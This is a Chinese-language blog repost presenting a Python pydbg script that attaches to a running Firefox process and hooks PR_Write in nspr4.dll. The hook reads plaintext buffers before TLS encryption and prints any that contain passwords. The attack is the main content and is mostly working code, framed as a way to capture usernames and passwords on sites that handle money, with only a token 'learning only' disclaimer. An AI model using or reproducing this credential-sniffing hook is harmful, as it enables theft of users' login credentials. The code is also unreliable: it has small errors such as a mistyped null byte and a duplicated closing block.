python利用hook技术破解https的实例代码
2013-03-25 10:23
1036 查看
相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:
下面是源代码:
复制代码 代码如下:#!/ur/bin/env python
from pydbg import *
from pydbg.defines import *
import utils
import sys
dbg = pydbg()
found_firefox = False
pattern = "password"
def ssl_sniff( dbg, args ):
buffer = ""
offset = 0
while 1:
byte = dbg.read_process_memory( args[1] + offset, 1 )
if byte != "x00":
buffer += byte
offset += 1
continue
else:
break
if pattern in buffer:
print "Pre-Encrypted: %s" % buffer
return DBG_CONTINUE
# 寻找firefox.exe的进程
for (pid, name) in dbg.enumerate_processes():
if name.lower() == "firefox.exe":
found_firefox = True
hooks = utils.hook_container()
dbg.attach(pid)
print "[*] Attaching to firefox.exe with PID: %d" % pid
# 得到firefox的hook的 address
hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")
if hook_address:
# 添加hook的内容,包括他的pid,地址,嗅探类型
hooks.add( dbg, hook_address, 2, ssl_sniff, None )
print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address
break
else:
print "[*] Error: Couldn't resolve hook address."
sys.exit(-1)
if found_firefox:
print "[*] Hooks set, continuing process."
dbg.run()
else:
print "[*] Error: Couldn't find the firefox.exe process."
sys.exit(-1)
if found_firefox:
print "[*] Hooks set, continuing process."
dbg.run()
else:
print "[*] Error: Couldn't find the firefox.exe process."
sys.exit(-1)
转自:http://world77.blog.51cto.com/414605/518679
您可能感兴趣的文章:
相关文章推荐
- python利用hook技术破解https的实例代码
- 利用python的hook技术破解https
- 利用Python破解验证码实例详解
- 利用Python2下载单张图片与爬取网页图片实例代码
- 利用Python实现Windows下的鼠标键盘模拟的实例代码
- 利用Python破解验证码实例详解
- python-利用pyaudio进行声音录制及简单实例代码分享
- 利用Python进行异常值分析实例代码
- 利用Python爬取微博数据生成词云图片实例代码
- [Python]利用soaplib访问webservice的实例代码
- python处理csv数据动态显示曲线实例代码
- python常用代码和函数实例
- python 与GO中操作slice,list的方式实例代码
- 利用python创建学生管理系统软件代码赏析
- 利用hook编写通用破解程序
- 微信开发中使用curl实现http与https的post级get请求实例教程(附工程代码)
- 以Python代码实例展示kNN算法的实际运用
- python对日志进行处理的实例代码
- 利用WebHook实现PHP自动部署Git代码
- Android 学习笔记——利用JNI技术在Android中调用、调试C++代码